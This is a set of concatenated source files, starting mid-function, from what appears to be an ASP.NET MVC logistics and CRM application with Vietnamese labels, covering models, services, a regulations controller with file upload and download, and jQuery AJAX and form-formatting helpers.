str = so[donvi] + " " + str;
}
if (chuc < 0)
break;
else
{
if ((chuc == 0) && (donvi > 0)) str = "lẻ " + str;
if (chuc == 1) str = "mười " + str;
if (chuc > 1) str = so[chuc] + " mươi " + str;
}
if (tram < 0) break;
else
{
if ((tram > 0) || (chuc > 0) || (donvi > 0)) str = so[tram] + " trăm " + str;
}
str = " " + str;
}
}
if (booAm) str = "Âm " + str;
return str;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.Reflection;
using System.Xml.Serialization;
namespace SSM.Models
{
public class CountryModel
{
public long Id { get; set; }
[Required(ErrorMessage = "{0} không được để trống!")]
public string CountryName { get; set; }
public string Iso { get; set; }
public string Iso3 { get; set; }
public string Fips { get; set; }
public string Continent { get; set; }
public string CurrencyCode { get; set; }
public string CurrencyName { get; set; }
public string PhonePrefix { get; set; }
public string PostalCode { get; set; }
public string Languages { get; set; }
public long GeonameId { get; set; }
public object this[string propertyName]
{
get
{
// probably faster without reflection:
// like: return Properties.Settings.Default.PropertyValues[propertyName]
// instead of the following
Type myType = typeof(CountryModel);
PropertyInfo myPropInfo = myType.GetProperty(propertyName);
return myPropInfo.GetValue(this, null);
}
set
{
Type myType = typeof(CountryModel);
PropertyInfo myPropInfo = myType.GetProperty(propertyName);
if (propertyName.ToLower().Contains("id"))
{
myPropInfo.SetValue(this, Convert.ToInt64(value), null);
}
else
{
myPropInfo.SetValue(this, value, null);
}
}
}
}
public class ProvinceModel
{
public long Id { get; set; }
public string Name { get; set; }
public string TimeZone { get; set; }
public long CountryId { get; set; }
public CountryModel Country { get; set; }
public object this[string propertyName]
{
get
{
// probably faster without reflection:
// like: return Properties.Settings.Default.PropertyValues[propertyName]
// instead of the following
Type myType = typeof(ProvinceModel);
PropertyInfo myPropInfo = myType.GetProperty(propertyName);
return myPropInfo.GetValue(this, null);
}
set
{
Type myType = typeof(ProvinceModel);
PropertyInfo myPropInfo = myType.GetProperty(propertyName);
if (propertyName.ToLower().Contains("id"))
{
myPropInfo.SetValue(this, Convert.ToInt64(value), null);
}
else
{
myPropInfo.SetValue(this, value, null);
}
}
}
}
public class DataCountry
{
public List<CountryModel> CountryModels { get; set; }
public List<ProvinceModel> ProvinceModels { get; set; }
}
}<file_sep>using System;
using AutoMapper;
using SSM.Models;
using SSM.Models.CRM;
namespace SSM.Services.CRM
{
public interface ICRMScheduleServiec : IServices<CRMSchedule>
{
CRMScheduleModel GetById(int id);
CRMSchedule InsertToDb(CRMScheduleModel model);
void UpdateToDb(CRMScheduleModel model);
void DeleteToDb(int id);
}
public class CRMScheduleServiec : Services<CRMSchedule>, ICRMScheduleServiec
{
public CRMScheduleModel GetById(int id)
{
var db = GetDbById(id);
return ToModels(db);
}
public CRMSchedule InsertToDb(CRMScheduleModel model)
{
var db = ToDbModel(model);
return (CRMSchedule)Insert(db);
}
public void UpdateToDb(CRMScheduleModel model)
{
var db = GetDbById(model.Id);
ConvertModel(model, db);
Commited();
}
public void DeleteToDb(int id)
{
var db = GetDbById(id);
Delete(db);
}
public CRMScheduleModel ToModels(CRMSchedule schedule)
{
if (schedule == null) return null;
return Mapper.Map<CRMScheduleModel>(schedule);
}
public CRMSchedule ToDbModel(CRMScheduleModel model)
{
var db = new CRMSchedule
{
DateBegin = model.DateBegin,
DateEnd = model.DateEnd,
DateOfSchedule = model.DateOfSchedule,
DayBeforeOfDatePlan = model.DayBeforeOfDatePlan,
DayBeforeOfDateRevise = model.DayBeforeOfDateRevised,
DayOfWeek = model.DayOfWeek != null ? string.Join(",", model.DayOfWeek) : null,
TimeOfSchedule = model.TimeOfSchedule,
DayAlert = model.DayAlert,
MountAlert = model.MountAlert
};
return db;
}
private void ConvertModel(CRMScheduleModel model, CRMSchedule db)
{
db.DateBegin = model.DateBegin;
db.DateEnd = model.DateEnd;
db.DateOfSchedule = model.DateOfSchedule;
db.DayBeforeOfDatePlan = model.DayBeforeOfDatePlan;
db.DayBeforeOfDateRevise = model.DayBeforeOfDateRevised;
db.DayOfWeek = model.DayOfWeek != null ? string.Join(",", model.DayOfWeek) : null;
db.TimeOfSchedule = model.TimeOfSchedule;
db.DayAlert = model.DayAlert;
db.MountAlert = model.MountAlert;
}
private CRMSchedule GetDbById(int id)
{
return FindEntity(x => x.Id == id);
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using System.Web.Optimization;
using System.Web.Routing;
using System.Web.Security;
using SSM.Common;
using SSM.DomainProfiles;
namespace SSM
{
// Note: For instructions on enabling IIS6 or IIS7 classic mode,
// visit http://go.microsoft.com/?LinkId=9394801
public class MvcApplication : System.Web.HttpApplication
{
protected void Application_Start()
{
AreaRegistration.RegisterAllAreas();
FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);
RouteConfig.RegisterRoutes(RouteTable.Routes);
BundleConfig.RegisterBundles(BundleTable.Bundles);
AutoMapperDomainConfiguration.Config();
JobScheduler.Start();
}
/* protected void Application_End()
{
}*/
protected void Application_Error(object sender, EventArgs e)
{
Exception ex = Server.GetLastError();
Logger.LogError(ex);
if (ex is HttpException)
{
HttpException httpEx = ex as HttpException;
if (httpEx.Message == "You are not authorized to access this page")
{
Logger.Log(httpEx.Message);
Response.Redirect(@"~/home/NoPermission");
Server.ClearError();
}
}
}
protected void Application_BeginRequest()
{
Response.Cache.SetCacheability(HttpCacheability.NoCache);
Response.Cache.SetExpires(DateTime.UtcNow.AddHours(-1));
Response.Cache.SetNoStore();
}
protected void Application_EndRequest()
{
// Any AJAX request that ends in a redirect should get mapped to an unauthorized request
// since it should only happen when the request is not authorized and gets automatically
// redirected to the login page.
var context = new HttpContextWrapper(Context);
// If we're an ajax request, and doing a 302, then we actually need to do a 401
if (Context.Response.StatusCode == 302 && context.Request.IsAjaxRequest())
{
Context.Response.Clear();
Context.Response.StatusCode = 401;
}
}
protected void Session_Start()
{
FormsAuthentication.SignOut();
Response.Redirect("~/Shipment/Index/0");
}
protected void Session_End()
{
FormsAuthentication.SignOut();
Response.Redirect("~/Shipment/Index/0");
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.Data.Linq;
namespace SSM.Models
{
public class SalesModel
{
public long VoucherId { get; set; }
public int? VoucherCode { get; set; }
public DateTime? VoucherDate { get; set; }
[Required]
public string VoucherNo { get; set; }
[Required]
public Customer Customer { get; set; }
public string Description { get; set; }
[Required]
public Curency Curency { get; set; }
public decimal ExchangeRate { get; set; }
public long CountryId { get; set; }
public decimal Quantity { get; set; }
public decimal Amount { get; set; }
public decimal VnAmount { get; set; }
public decimal TaxRate { get; set; }
public decimal VAT { get; set; }
public decimal TransportFee { get; set; }
public decimal InlandFee { get; set; }
public decimal Fee1 { get; set; }
public decimal Fee2 { get; set; }
public decimal Fee { get; set; }
public decimal SumTotal { get; set; }
public decimal Profit { get; set; }
public decimal Amount0 { get; set; }
public long? SubmittedBy { get; set; }
public long? CheckedBy { get; set; }
public long? ApprovedBy { get; set; }
public VoucherStatus Status { get; set; }
public DateTime DateCreate { get; set; }
public DateTime? DateModify { get; set; }
public long CreateBy { get; set; }
public long? ModifyBy { get; set; }
public User UserCreated { get; set; }
public User UserChecked { get; set; }
public User UserApproved { get; set; }
public User UserSubmited { get; set; }
public List<SalesDetailModel> DetailModels { get; set; }
public DateTime? DateSubmited { get; set; }
public DateTime? DateChecked { get; set; }
public DateTime? DateApproved { get; set; }
public Shipment Shipment { get; set; }
public string NotePrints { get; set; }
public string ProductView { get; set; }
}
public class SalesDetailModel
{
public long VoucherId { get; set; }
public int RowId { get; set; }
public long ProductId { get; set; }
public string ProductCode { get; set; }
public string UOM { get; set; }
public int WarehouseId { get; set; }
public decimal CurrentQty { get; set; }
public decimal Quantity { get; set; }
public decimal VnPrice { get; set; }
public decimal Price { get; set; }
public decimal Amount { get; set; }
public decimal VnAmount { get; set; }
public decimal VATTaxRate { get; set; }
public decimal VATTax { get; set; }
public decimal TransportFee { get; set; }
public decimal Fee1 { get; set; }
public decimal Fee2 { get; set; }
public decimal TFee { get; set; }
public decimal TT { get; set; }
public decimal Price0 { get; set; }
public decimal Amount0 { get; set; }
public string Notes { get; set; }
public Product Product { get; set; }
public Warehouse Warehouse { get; set; }
}
}<file_sep>
namespace SSM.Models
{
partial class DataClasses1DataContext
{
}
}
<file_sep>var isBlock = false;
var waiting = '<div class="progress-container"> <div class="progress"> <div class="progress-bar"> <div class="progress-shadow"></div> </div> </div> </div> ';
var options = {
AjaxWait: {
AjaxWaitMessage: waiting,
AjaxWaitMessageCss: { top: "60px", border: "none" },
Index: 999999
},
AjaxErrorMessage: "<h6>Error! please contact the monkey!</h6>",
SessionOut: {
StatusCode: 401,
RedirectUrl: '/Shipment/Index/0'
}
};
var AjaxGlobalHandler = {
Initiate: function (options) {
jQuery.ajaxSetup({
async: false,
cache: false,
});
// Ajax events fire in following order
jQuery(document).ajaxStart(function (data) {
if (!isBlock) {
jQuery.mbqBlockUI();
}
})
.ajaxError(function (e, xhr, opts, thrownError) {
if (options.SessionOut.StatusCode === xhr.status) {
document.location.replace(options.SessionOut.RedirectUrl);
return;
}
if (0 === xhr.status && thrownError === "canceled")
return;
if (500 === xhr.status) {
jQuery(".closeIcon").click();
}
bindErrors(xhr.status + ": " + thrownError, options);
jQuery.mbqUnBlockUI();
})
.ajaxStop(function () {
jQuery.mbqUnBlockUI();
})
.ajaxSend(function (e, xhr, opts) {
})
.ajaxSuccess(function (e, xhr, opts) {
jQuery.mbqUnBlockUI();
setButtonDefault();
}).ajaxComplete(function (e, xhr, opts) {
jQuery.mbqUnBlockUI();
setButtonDefault();
});
}
};
function bindErrors(data, settings) {
var errs = data;
if (data.value !== undefined)
errs = data.value;
if (settings.error !== undefined) {
settings.error(errs);
} else if (settings.targetError != undefined && settings.targetError.length > 0) {
settings.targetError.html(errs);
} else {
var $ctx = '<div class="row alert alert-error">Lỗi</div>';
if (Object.prototype.toString.call(errs) === '[object Array]') {
var ul = '<ul class="error">';
for (var i = 0; i < errs.length; i++) {
var li = '<li>' + errs[i] + '</li>';
ul += li;
}
ul += '</ul>';
$ctx = $ctx.replace('Lỗi', ul);
} else {
$ctx = errs;
}
jQuery.mbqAlert({
title: 'Error',
type: 'error',
content: $ctx
});
}
}
function handleAjax(option) {
var mode = option.method != undefined ? option.method : option.data != null ? "POST" : "GET";
jQuery.ajax({
url: option.url,
type: mode,
processData: option.processData == undefined ? {} : option.processData,
contentType: option.contentType == undefined ? {} : option.contentType,
dataType: option.dataType == undefined ? {} : option.dataType,
data: option.data == undefined ? {} : option.data,
success: function (data, status, xhr) {
// danh cho delete row of grid table
if (data.value != undefined && data.value.IsRemve != undefined) {
if (data.value.IsRemve == true) {
var $td = jQuery("td#" + data.value.TdId);
if ($td != undefined && $td.length > 0) {
$td.parent('tr:first').remove();
}
}
if (data.value.IsRefreshList != undefined && data.value.IsRefreshList === true) {
jQuery("#btn-search").click();
}
}
if (data.value != undefined && data.value.CloseOther != undefined && data.value.CloseOther === true) {
jQuery(document).find(".jconfirm-box").find(".closeIcon").each(function () {
jQuery(this).click();
});
}
// event remove follow user
if (data.value != undefined && data.value.FormClose != undefined && data.value.FormClose === true) {
jQuery("form").parents(".jconfirm-box:first").find(".closeIcon").click();
if (jQuery(".jconfirm-box").find("#btn-dialogRefesh").length > 0) {
jQuery("#btn-dialogRefesh").find("a.fa-refresh").click();
} else {
jQuery("#btn-pageSearch").click();
}
}
if (data.value != undefined && data.value.Redirect != undefined && data.value.Redirect === true) {
window.location = data.value.Url;
}
if (option.success && option.success !== undefined)
jQuery.mbqAjaxSuccess(data, option);
else {
var columnClass = 'col-md-10 col-md-offset-2';
if (data.success === true) {
if (data.dialog !== undefined && data.dialog == true) {
var title = data.value.Title;
if (title.indexOf("SuccessFully") > 0 || title.indexOf('success') > 0) {
columnClass = 'col-md-6 col-md-offset-3';
}
if (data.value.ColumnClass !== undefined) {
columnClass = data.value.ColumnClass;
}
jQuery.mbqDialog({
content: data.value.Views,
title: data.value.Title,
columnClass: columnClass,
});
jQuery.mbqGetFuction("", ["data", "status", "xhr"]).apply(this, arguments);
} else {
jQuery('#' + option.targetId).html(data.value);
jQuery.mbqGetFuction("", ["data", "status", "xhr"]).apply(this, arguments);
jQuery('#' + option.targetId).InitFormat();
}
} else if (data.success === false) {
columnClass = 'col-md-6 col-md-offset-2';
if (data.dialog !== undefined && data.dialog == true) {
var title = data.value.Title;
if (title.indexOf("SuccessFully") > 0 || title.indexOf('success') > 0) {
columnClass = 'col-md-6 col-md-offset-3';
}
if (data.value.ColumnClass !== undefined) {
columnClass = data.value.ColumnClass;
}
jQuery.mbqAlert({
content: data.value.Views,
title: data.value.Title,
columnClass: columnClass,
});
jQuery.mbqGetFuction("", ["data", "status", "xhr"]).apply(this, arguments);
} else {
bindErrors(data, { targetError: jQuery('#' + option.targetId) });
jQuery('#' + option.targetId).addClass('text-danger');
}
} else {
jQuery('#' + option.targetId).html(data);
}
}
jQuery.mbqUnBlockUI();
}
});
}
(function ($) {
jQuery.mbqGetFuction = function (code, argNames) {
var fn = window, parts = (code || "").split(".");
while (fn && parts.length) {
fn = fn[parts.shift()];
}
if (typeof (fn) === "function") {
return fn;
}
argNames.push(code);
return Function.constructor.apply(null, argNames);
};
jQuery.mbqAjaxSuccess = function (data, settings) {
if (data.success !== undefined && data.success === false)
bindErrors(data, settings);
else if (settings.success !== undefined)
settings.success(data);
else if (settings.target !== undefined)
if (data.value !== undefined) {
settings.target.html(jQuery.parseHTML(data.value));
} else {
settings.target.html(jQuery.parseHTML(data));
}
};
jQuery.mbqAjax = function (option) {
if (option.confirm !== undefined && option.confirm.content !== undefined) {
jQuery.mbqConfirm({
content: option.confirm.content,
title: option.confirm.confimTitle != undefined ? option.confirm.confimTitle : "Xác nhận",
confirm: function (obj) {
handleAjax(option);
}
});
} else {
handleAjax(option);
}
};
jQuery.fn.extend({
//for ajax link
mbqAjax: function () {
var target = jQuery(this).data("ajax-update");
if (target !== undefined && target !== null) {
target = target.replace("#", '');
}
var contenttype = jQuery(this).data("ajax-contenttype");
var datatype = jQuery(this).data("ajax-datatype");
var url = jQuery(this).attr("data-ajax-url");
jQuery.mbqAjax({
url: url,
dataType: datatype,
contentType: contenttype,
confirm: { title: "Xác nhận", content: jQuery(this).data("ajax-confirm") },
targetId: target,
method: jQuery(this).attr("data-ajax-method"),
});
return false;
}
});
jQuery.mbqBlockUI = function () {
if (!isBlock) {
jQuery("#waitting").append(waiting);
jQuery("#waitting").show();
isBlock = true;
jQuery("#waitting").css("z-index", 99999999);
}
}
jQuery.mbqUnBlockUI = function () {
jQuery("#waitting").css("z-index", -1);
jQuery("#waitting").html("");
jQuery("#waitting").hide();
isBlock = false;
}
})(jQuery);<file_sep>using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using System.Web.Routing;
using SSM.Common;
using SSM.Models;
using SSM.Services;
using SSM.ViewModels.Shared;
namespace SSM.Controllers
{
public class InfomationController : BaseController
{
#region Definetion
public static String DOCUMENT_PATH = "/FileManager/Document";
private UsersServices usersServices;
private IGroupService groupService;
private INewsServices newsServices;
private FreightServices freightServices;
private Grid<NewsModel> _gridInfo;
private const string INFOMATION_MODEL = "INFOMATION_MODEL";
private const string INFOMATION_SEARCH_MODEL = "INFOMATION_SEARCH_MODEL";
private NewSearchModel filter;
protected override void Initialize(RequestContext requestContext)
{
base.Initialize(requestContext);
usersServices = new UsersServicesImpl();
newsServices = new NewsServices();
freightServices = new FreightServicesImpl();
groupService = new GroupService();
}
#endregion
#region Information
public ActionResult Index()
{
ViewBag.Title = "List Company Regulation";
_gridInfo = (Grid<NewsModel>)Session[INFOMATION_MODEL];
if (_gridInfo == null)
{
_gridInfo = new Grid<NewsModel>
(
new Pager
{
CurrentPage = 1,
PageSize = 50,
Sord = "asc",
Sidx = "Header"
}
);
_gridInfo.SearchCriteria = new NewsModel();
}
filter = filter ?? new NewSearchModel();
UpdateGridInfomation();
ViewBag.Categories = newsServices.ListCatelories(NewType.Infomation);
return View(_gridInfo);
}
[HttpPost]
public ActionResult Index(NewSearchModel model, Grid<NewsModel> gridview)
{
_gridInfo = gridview;
filter = model;
Session[INFOMATION_MODEL] = _gridInfo;
Session[INFOMATION_SEARCH_MODEL] = filter;
_gridInfo.ProcessAction();
UpdateGridInfomation();
return PartialView("_ListData", _gridInfo);
}
public void UpdateGridInfomation()
{
var orderField = new SSM.Services.SortField(_gridInfo.Pager.Sidx, _gridInfo.Pager.Sord == "asc");
filter.SortField = orderField;
var page = _gridInfo.Pager;
//bool checkEdit = CurrenUser.IsEditNew(null) || CurrenUser.AllowRegulationApproval;
//var grpermission = CurrenUser.UserGroups.Select(x => x.GroupId).ToList();
var newlist = newsServices.GetScfNewsByUser(CurrenUser);
newlist = newlist.Where(x => x.Type == (byte) NewType.Infomation
&& (string.IsNullOrEmpty(filter.Keyworks) || x.Header.Contains(filter.Keyworks))
&& (filter.CategoryId == 0 || x.CateloryId == filter.CategoryId)
&& (x.IsApproved != filter.IsPending)
&& (filter.GroupId == 0 || x.GroupAccessPermissions.Any(g => g.GroupId == filter.GroupId))
);
newlist = newlist.OrderBy(orderField);
var totalRows = (int)newlist.Count();
ViewBag.SearchingMode = filter ?? new NewSearchModel();
ViewBag.AllGroup = groupService.GetAll(x => x.IsActive);
_gridInfo.Pager.Init(totalRows);
if (totalRows == 0)
{
_gridInfo.Data = new List<NewsModel>();
return;
}
var list = newsServices.GetListPager(newlist, page.CurrentPage, page.PageSize);
var listview = list.Select(x => NewsServices.ToModel(x));
var viewData = new List<NewsModel>();
foreach (var it in listview)
{
IEnumerable<ServerFile> files = freightServices.getServerFile(it.Id, new SSM.Models.NewsModel().GetType().ToString());
it.FilesList = files != null ? files.ToList() : new List<ServerFile>();
viewData.Add(it);
}
_gridInfo.Data = viewData;
}
[HttpGet]
public ActionResult Create()
{
ViewBag.Title = "Create Company Regulation";
var listUser = groupService.GetQuery(x => x.IsActive).ToList();
ViewBag.AllUSer = listUser;
var model = new NewsModel();
model.Type = NewType.Infomation;
ViewBag.Categories = newsServices.ListCatelories(NewType.Infomation);
model.NewAccessPermissions = new List<GroupAccessPermission>();
model.FilesList = new List<ServerFile>();
ViewBag.AllUSerFee = usersServices.GetAll(x => x.IsActive);
ViewBag.UserCanupdate = new List<User>();
return View(model);
}
[HttpPost, ValidateInput(false)]
[ValidateAntiForgeryToken]
public ActionResult Create(NewsModel model, List<HttpPostedFileBase> filesUpdoad)
{
ViewBag.Title = "Create Company Regulation";
model.CreaterBy = CurrenUser;
model.DateCreate = DateTime.Now;
model.DatePromulgate = model.DateCreate;
model.Type = NewType.Infomation;
var idNew = newsServices.Created(model);
model.Id = idNew;
UploadFile(model, filesUpdoad);
return Json("OK", JsonRequestBehavior.AllowGet);
}
[HttpGet]
public ActionResult Edit(int id)
{
ViewBag.Title = "UPDATE YOUR NEW INFORMATION";
var model = newsServices.GetNewsModel(id);
var listUser = groupService.GetQuery(x => x.IsActive).ToList();
var listUserAccess = model.NewAccessPermissions.Select(x => x.Group).OrderBy(x => x.Name).ToList();
var userNewList = listUser.Where(x => !listUserAccess.Select(u => u.Id).Contains(x.Id));
var alluser = usersServices.GetAll(x => x.IsActive);
ViewBag.AllUSer = userNewList.ToList();
var userCanupdate = alluser.Where(x => model.ListUserUpdate.Contains(x.Id)).ToList();
ViewBag.AllUSerFee = alluser.Where(x => !model.ListUserUpdate.Contains(x.Id)).ToList();
ViewBag.UserCanupdate = userCanupdate;
ViewBag.Categories = newsServices.ListCatelories(NewType.Infomation);
ViewBag.UserCanupdate = userCanupdate;
IEnumerable<ServerFile> files = freightServices.getServerFile(id, new SSM.Models.NewsModel().GetType().ToString());
model.FilesList = files != null ? files.ToList() : new List<ServerFile>();
return View(model);
}
[HttpPost, ValidateInput(false)]
[ValidateAntiForgeryToken]
public ActionResult Edit(NewsModel model, List<HttpPostedFileBase> filesUpdoad)
{
try
{
ViewBag.Title = "UPDATE YOUR NEW INFORMATION";
model.ModifiedBy = CurrenUser;
model.DateModify = DateTime.Now;
model.DatePromulgate = model.DateCreate;
model.Type = NewType.Infomation;
newsServices.SaveUpdate(model);
UploadFile(model, filesUpdoad);
return Json("OK", JsonRequestBehavior.AllowGet);
}
catch (Exception ex)
{
Logger.LogError(ex);
return Json(ex.Message, JsonRequestBehavior.AllowGet);
}
}
#endregion
#region File Action
private void UploadFile(NewsModel model, List<HttpPostedFileBase> filesUpdoad)
{
if (filesUpdoad != null && filesUpdoad.Any())
foreach (HttpPostedFileBase file in filesUpdoad)
{
if (file != null && file.ContentLength > 0)
{
try
{
var pathfoder = Path.Combine(Server.MapPath(@"~/" + DOCUMENT_PATH), model.Type.ToString());
if (!Directory.Exists(pathfoder))
{
Directory.CreateDirectory(pathfoder);
}
string filePath = Path.Combine(pathfoder, Path.GetFileName(file.FileName));
file.SaveAs(filePath);
//save file to db
var fileSave = new ServerFile
{
ObjectId = model.Id,
ObjectType = model.GetType().ToString(),
Path = string.Format("{0}/{1}/{2}", DOCUMENT_PATH, model.Type.ToString(), file.FileName),
FileName = file.FileName,
FileSize = file.ContentLength,
FileMimeType = file.ContentType
};
freightServices.insertServerFile(fileSave);
}
catch (Exception ex)
{
Logger.LogError(ex);
}
}
}
}
public ActionResult Download(long id)
{
var document = freightServices.getServerFile(id);
var cd = new System.Net.Mime.ContentDisposition
{
// for example foo.bak
FileName = document.FileName,
// always prompt the user for downloading, set to true if you want
// the browser to try to show the file inline
Inline = true,
};
// Response.AppendHeader("Content-Disposition", cd.ToString());
string filepath = AppDomain.CurrentDomain.BaseDirectory + document.Path;//.Replace("/","\\");
byte[] filedata = System.IO.File.ReadAllBytes(filepath);
Response.AppendHeader("Content-Disposition", cd.ToString());
return File(filedata, document.FileMimeType);
}
public JsonResult DeleteFile(long id)
{
try
{
var file = freightServices.getServerFile(id);
if (file != null)
if (System.IO.File.Exists(Server.MapPath(file.Path)))
System.IO.File.Delete(Server.MapPath(file.Path));
freightServices.deleteServerFile(id);
return Json(new { isFalse = false, messageErro = string.Empty }, JsonRequestBehavior.AllowGet);
}
catch (Exception ex)
{
return Json(new { isFalse = true, messageErro = ex.Message }, JsonRequestBehavior.AllowGet);
}
}
public JsonResult Approval(int id)
{
var dbnew = newsServices.GetNew(id);
if (!dbnew.IsApproved)
{
dbnew.Appvovedby = CurrenUser.Id;
dbnew.DateApproved = DateTime.Now;
dbnew.IsApproved = true;
newsServices.Commited();
return
Json(
new
{
IsApproved = true,
messageErro = "Approved successfully",
ApproveMess = string.Format("Approved by:{0} at {1}", CurrenUser.FullName, dbnew.DateApproved.Value.ToString("dd/MM/yyyy"))
},
JsonRequestBehavior.AllowGet);
}
else
{
dbnew.Appvovedby = (long?)null;
dbnew.DateApproved = null;
dbnew.IsApproved = false;
newsServices.Commited();
return Json(new { IsApproved = false, messageErro = "DisApproved successfully" }, JsonRequestBehavior.AllowGet);
}
}
#endregion
public ActionResult Detail(int id)
{
ViewBag.Title = "DETAIL Company Regulation";
var model = newsServices.GetNewsModel(id);
//var listUser = groupService.GetQuery(x=>x.IsActive).ToList();
//var listUserAccess = model.NewAccessPermissions.Select(x => x.Group).ToList();
//var userNewList = listUser.Where(x => !listUserAccess.Select(u => u.Id).Contains(x.Id));
//ViewBag.AllUSer = userNewList.ToList();
IEnumerable<ServerFile> files = freightServices.getServerFile(id, new SSM.Models.NewsModel().GetType().ToString());
model.FilesList = files != null ? files.ToList() : new List<ServerFile>();
return View(model);
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Globalization;
namespace SSM.Common
{
public static class StringUtils
{
public static string FormatDate(DateTime? dateTime)
{
if (dateTime == null)
return "";
return dateTime.Value.ToString("MMM d, yyyy");
}
public static string HtmlFilter(String value)
{
if (value == null)
{
return "";
}
return value.Replace("\r\n", "<br/>").Replace("\r", "<br/>");
}
public static bool isNullOrEmpty(String value) {
if (value == null)
{
return true;
}
if ("".Equals(value.Trim()))
{
return true;
}
return false;
}
public static string FormatPhone(String phone)
{
if (phone == null)
return "";
string result;
if (phone.Length == 10)
{
result = phone.Substring(0, 10);
result = "(" + result.Substring(0, 3) + ") " + result.Substring(3, 3) + "-" + result.Substring(6, 4);
}
else
{
result = phone;
}
return result;
}
public static List<string> GetCountryList()
{
List<string> cultureList = new List<string>();
CultureInfo[] cultures = CultureInfo.GetCultures(CultureTypes.InstalledWin32Cultures);
RegionInfo country = new RegionInfo(new CultureInfo("en-US", false).LCID);
foreach (CultureInfo cul in CultureInfo.GetCultures(CultureTypes.SpecificCultures))
{
country = new RegionInfo(new CultureInfo(cul.Name, false).LCID);
if (!cultureList.Contains(country.DisplayName.ToString()))
{
cultureList.Add(country.EnglishName);
}
}
cultureList.Sort();
return cultureList;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
namespace SSM.Models.CRM// SSM.Models.CRM
{
public class CRMPriceQuotationModel
{
public long Id { get; set; }
[Required(ErrorMessage = "{0} không được để trống!")]
public string Subject { get; set; }
public string Description { get; set; }
[Required(ErrorMessage = "{0} không được để trống!")]
public string CrmCusName { get; set; }
public long CrmCusId { get; set; }
public int CountSendMail { get; set; }
public int StatusId { get; set; }
public User ModifiedBy { get; set; }
public DateTime? ModifiedDate { get; set; }
public User CreatedBy { get; set; }
public DateTime CreatedDate { get; set; }
public DateTime? LastDateSend { get; set; }
public bool IsDelete { get; set; }
public List<CRMEmailHistory> CRMEmailHistories { get; set; }
public CRMCustomer CRMCustomer { get; set; }
public bool IsCusCreate { get; set; }
}
public enum CRMPriceStaus : byte
{
[StringLabel("Tất cả")]
All = 0,
[StringLabel("Đang theo dõi")]
Following = 1,
[StringLabel("Thành công")]
Finished = 2,
[StringLabel("Huỷ")]
Cancel = 3,
//[StringLabel("Phản hồi")]
//Confirm = 4,
[StringLabel("Orther")]
Orther = 9,
}
public class PriceSearchModel
{
public string Name { get; set; }
public int StatusId { get; set; }
public DateTime? FromDate { get; set; }
public DateTime? ToDate { get; set; }
public string CustomerName { get; set; }
public string Subject { get; set; }
public string DateType { get; set; }
public long CusId { get; set; }
public long SalesId { get; set; }
public long DepId { get; set; }
public long? RefId { get; set; }
}
}<file_sep>(function ($) {
jQuery.fn.extend({
mbqDialog: function (option) {
jQuery(this).click(function () {
jQuery.mbqDialog(option);
});
},
GetAutoSugget: function (option) {
jQuery(this).autocomplete({
source: function (request, response) {
var data = '{ term: "' + request.term + '"';
if (option.params !== undefined) {
data = data + option.params;
}
data = data + '}';
jQuery.mbqAjax({
url: option.url,
dataType: "json",
contentType: "application/json; charset=utf-8",
data: data,
method: "POST",
success: function (result) {
response(jQuery.map(result, function (item) {
return {
id: item.id,
value: item.Display,
all: item,
};
}));
}
});
},
minLength: option.minLength !== undefined ? option.minLength : 1,
select: function (e, ui) {
if (option.select !== undefined && option.select) {
option.select(e, ui);
}
else {
var proid = ui.item.id;
if (option.targerId !== undefined)
jQuery(option.targerId).val(proid);
}
}
});
},
GetProductAutoSugget: function (option) {
jQuery(this).autocomplete({
source: function (request, response) {
jQuery.mbqAjax({
url: option.url,
dataType: "json",
contentType: "application/json; charset=utf-8",
data: '{"term":"' + request.term + '"}',
method: "POST",
success: function (result) {
response(jQuery.map(result, function (item) {
return {
id: item.Id,
value: item.Display,
pUnit: item.Other
};
}));
}
});
},
minLength: option.minLength !== undefined ? option.minLength : 1,
select: function (e, ui) {
var proid = ui.item.id;
jQuery("#" + jQuery(this).parents("td:first").find(".ProductId:first").attr("id")).val(proid);
jQuery("#" + jQuery(this).parents("tr:first").find(".UOM:first").attr("id")).val(ui.item.pUnit);
}
});
},
cleanFormat: function () {
jQuery(this).find(".currency,.number,p.percents").each(function (i) {
var self = jQuery(this);
try {
var v = self.autoNumeric('get');
self.autoNumeric('destroy');
self.val(v);
} catch (err) {
//console.log("Not an autonumeric field: " + self.attr("name"));
}
});
},
InitFormat: function () {
jQuery(".number2").number(true, 2);
jQuery(".number1").number(true, 1);
jQuery(".number").autoNumeric({
mDec: 2,
aPad: false,
wEmpty: 'zero',
});
jQuery(".currency3").autoNumeric({
mDec: 3,
aPad: false,
wEmpty: 'zero',
});
jQuery(".currency").autoNumeric('init', {
mDec: 2,
aPad: false,
wEmpty: 'zero',
});
jQuery(".currencyVn").autoNumeric({
mDec: 0,
aPad: false,
wEmpty: 'zero',
});
jQuery('.percent').autoNumeric('init', {
aSign: ' %',
pSign: 's',
});
jQuery('.currency4').autoNumeric('init', {
mDec: 4,
aPad: false,
wEmpty: 'zero',
});
jQuery('.percents').autoNumeric('init', {
mDec: 2,
pSign: 's',
});
jQuery(".datepicker").datepicker("destroy");
jQuery(".datepicker").datepicker({
dateFormat: "dd/mm/yy",
changeYear: true,
changeMonth: true,
showOn: "both",
buttonImageOnly: true,
buttonImage: "/Images/bg-date.png",
buttonText: "Calendar",
currentText: 'Now',
autoSize: true,
gotoCurrent: true,
showAnim: 'blind',
highlightWeek: true
});
},
CheckRequired: function () {
var isValid = true;
jQuery(this).find(".required").each(function () {
var valRef = jQuery(this).val();
if (valRef === "" || valRef === '0') {
isValid = false;
if (jQuery(this).attr('type') === 'hidden') {
jQuery(this).next().addClass("input-validation-error");
} else
jQuery(this).addClass("input-validation-error");
} else {
if (jQuery(this).attr('type') === 'hidden') {
jQuery(this).next().removeClass("input-validation-error");
} else
jQuery(this).removeClass("input-validation-error");
}
});
return isValid;
},
ValidationDate: function () {
var isValid = true;
if (jQuery(this).find(".datepicker-check").length > 0) {
var txtTodate = jQuery(this).find(".datepicker.toDate").val();
if (txtTodate === "")
return true;
var todate = Date.parse(txtTodate);
